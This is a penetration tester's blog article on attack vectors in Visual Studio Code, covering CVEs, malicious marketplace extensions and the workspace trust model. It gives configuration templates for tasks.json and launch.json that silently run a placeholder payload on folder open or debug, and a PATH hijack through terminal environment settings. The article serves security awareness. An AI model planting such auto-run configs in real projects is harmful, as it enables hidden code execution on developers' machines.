Visual Studio Code is, according to a Stack Overflow survey, the most popular IDE, and has been the subject of security research and possible compromise. This article succinctly details the research done by others on this IDE, presents the IDE’s trust model, and describes the potential consequences of over-reliance on open files.

Note: This article is also available in french 🇫🇷.

Discovered vulnerabilities

Research has already uncovered several vulnerabilities, both in the editor itself and in the extensions made available on the Microsoft marketplace.

Critical vulnerabilities have been found, for example:

A more complete list of vulnerabilities affecting VS Code is available here. As can be seen from this list, many recent vulnerabilities (April 2023 for the latest RCE) have been reported, and can be used by malicious actors to compromise developer workstations.

Extension – Known attack vector

Like many text editors, VS Code has a large number of extensions in active use, which may be subject to vulnerabilities, but malicious extensions are also used to compromise users. The advantage of this compromise vector is that, once the extension is installed, the restricted mode (see below) does not prevent the extension’s malicious actions.

Before publication on the marketplace, Microsoft performs an antivirus scan on the extension. Then, if a malicious application is reported, Microsoft verifies and removes the extension. The extension is blacklisted so that publishers who have already installed it can remove it. Information about the extension and its developer is also displayed, so that you can trust the extension.

Reference : Can I trust extensions from the Marketplace?.

However, these precautions are not always sufficient. In January 2023, the Aqua Nautilus research team discovered that it was easy to create and publish a malicious extension imitating an existing one. To demonstrate the potential of this attack vector, they carried out a PoC by depositing an imitation of a popular extension. Within 48 hours, their "malicious" extension had been installed a thousand times worldwide.

In May 2023, Check Point, via their CloudGuard Spectral product, discovered an active use of malicious extensions that had been downloaded ~45k times.

The extension Prettier-Java was imitated by a malicious extension prettiest java, which stole users’ personal data.

Exploiting the configuration

So far, the exploits presented abuse users’ trust in extensions or vulnerabilities discovered in the editor or installed extensions.

In all cases, the attack requires the user to install an extension or open malicious files.

So the question is, in the absence of a vulnerability or malicious extension, what risks remain?

Restricted mode and workspace

Before detailing possible misconfigurations or breaches of trust, it’s important to talk about workspace trust, VS Code’s trust model.

Since version 1.57, the workspace trust feature has been added to address CVE-2021-34529 (an RCE). The workspace trust defines a restricted mode that disables a number of features and configurations within a workspace until the user explicitly indicates that the workspace is trusted.

A workspace is the collection of one or more folders that are opened in a VS Code window (instance). In most cases, a single folder is opened as a workspace. Opening a workspace whose folder is not an approved folder or a sub-folder of an approved folder will open this window:

Trust request when opening a workspace

The configuration of a workspace is defined in the .vscode/settings.json file at the root of the folder for a single workspace. For multi-folder workspaces, a file with the extension .code-workspace carries the configuration. The formats of these files are as follows:

// settings.json for global configuration or workspace
{
  "<setting>":"value"
}

// <workpsace>.code-workspace for multi-root workspace configuration
{
  "folders": [{"path": "."}],
  "settings": {
    "<setting>":"value"
  }
}

From an offensive point of view, the multi-root workspace configuration is less likely to be applied, as the user must explicitly open the multi-folder workspace.

The workspace configuration overwrites the global configuration usually stored here:

  • Windows: %APPDATA%\Code\User\settings.json
  • macOS: $HOME/Library/Application\ Support/Code/User/settings.json
  • Linux : $HOME/.config/Code/User/settings.json

Restricted mode allows you to block a number of functions and configurations, the most dangerous of which will be described in greater detail later.

To view all blocked configurations, use the @tag:requireTrustedWorkspace tag in the configurations menu search:

Search for configurations disabled in restricted mode

It should be noted that, independently of restricted mode, some configuration options are not supported in a workspace for security reasons, as they change the path of executables:

  • git.path
  • terminal.external.windowsExec
  • terminal.external.osxExec
  • terminal.external.linuxExec

Tasks

Tasks can be used to schedule actions for a project build, for example. They are deactivated in restricted mode. Default tasks exist, but it is possible to configure custom tasks.

What’s more, the configuration option "task.allowAutomaticTasks": "on" allows tasks to be automatically executed according to their condition.

We therefore have the conditions that allow automatic code execution if a user opens a malicious folder outside restricted mode:

  • Create a workspace configuration file .vscode/settings as follows:
{
  "task.allowAutomaticTasks": "on",
}
  • Create a custom task in the .vscode/tasks.json file at the workspace root, as follows:
{
  "version": "2.0.0",
  "tasks": [{
    "label": "Malicious task",
    "type": "shell",
    "osx": {
      "command": "<payload>",
    },
    "linux": {
      "command": "<payload>",
    },
    "windows": {
      "command": "<payload>"
    },
    // hides the terminal
    "presentation": {
      "reveal": "silent" // or "never"
    },
    "runOptions": {
      "runOn": "folderOpen"
    },
  }]
}

When the folder containing these files is opened, the task will run automatically and trigger the payload contained in the command attribute, depending on the target operating system (osx, windows or linux). The value of the command attribute must contain the complete command with its arguments, as the task runs in a shell, as specified in the "type": "shell" attribute.

However, it is also possible to launch a process outside a shell. In this case, the command would be of the following form:

"linux": {
  "command": "<path to binary>",
  "args": [
    "arg1", "arg2"
  ]
},

Finally, the task can be associated with a group, such as build, which will execute it if the user uses the shortcut Ctrl+Shift+B. To do this, the following option must be added to the tasks.json file in a task:

"group": {
  "kind": "build",
  "isDefault": true
}

Debugging

VS Code offers debugging capabilities, and by default the IDE includes debugging for Node.js and languages transposed to JS (e.g. TypeScript). In restricted mode, debugging is not allowed.

Debug info is specified in the .vscode/launch.json file for a workspace. Debugging will be launched if a user uses the F5 shortcut or launches it from the relevant menus.

We are not interested in the legitimate use of the debugger here. However, the Microsoft documentation details its use.

Debugging options will change from debugger to debugger, but some options must be implemented:

  • type: the type of debugger to be used. Each installed debugger extension introduces a type: node for the built-in Node.JS debugger, for example, or php for the PHP extension.
  • request: the type of request. launch and attach are the supported types.
  • name: the custom name, displayed in the debugging menu.

In addition, optional attributes are available for all debuggers.

The preLaunchTask attribute allows you to specify a task to be launched before the debugging session begins. This is an interesting attribute, as it does not interfere with normal debugger operation.

The following configuration, in a .vscode/launch.json file, allows the test task to be launched before the debugging session:

{
    "version": "0.2.0", "configurations": [{
        "name": "Node malicious debug",
        "type": "node",
        "request": "launch",
        "preLaunchTask": "test",
    }]
}

The configured task can then launch a command as seen in the Tasks section of this article.

The runtimeExecutable attribute is also present for many debuggers and allows you to specify the executable path in order to obtain code execution during debugging. The ${workspaceFolder} variable indicates that the workspace folder is used, allowing you to specify an executable of your choice.

Below is an example of a configuration using this option:

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Node malicious debug",
      "type": "node",
      "request": "launch",
      "windows": {
      "runtimeExecutable": "${workspaceFolder}/test.ps1"
    },
    "osx": {
      "runtimeExecutable":"${workspaceFolder}/test.sh"
    },
    "linux": {
      "runtimeExecutable":"${workspaceFolder}/test.sh"
    },
      // hides console
      "internalConsoleOptions": "neverOpen"
    }
  ]
}

The internalConsoleOptions attribute is used to avoid displaying the console, which would indicate that our program is running.

Modification of the environment

In workspace configuration, the terminal.integrated.env.linux attribute lets you modify environment variables on a Linux system. It would thus be possible to modify the PATH variable to control executables launched from the integrated terminal: "terminal.integrated.env.linux": {"PATH": "value"}.

This assumes that workspace is not in restricted mode and that the integrated terminal is in use.

Conclusion

In conclusion, the preferred attack vector for compromising IDE users seems to have been the installation of malicious extensions. The marketplace allows extensions to be distributed rapidly, and restricted mode offers no protection in this case.

Several recent vulnerabilities enabling remote code execution have also been discovered, and remain a security risk for developers.

Trust abuse or misconfiguration of the restricted mode could, via the prior distribution of malicious files, compromise a workstation. In the absence of actual use, this vector remains a good way of increasing 🥐 one’s work colleges 😊.

About the author

Article written by Alexandre RIPOTEAU aka Vunnm, Penetration Testing Engineer at ACCEIS.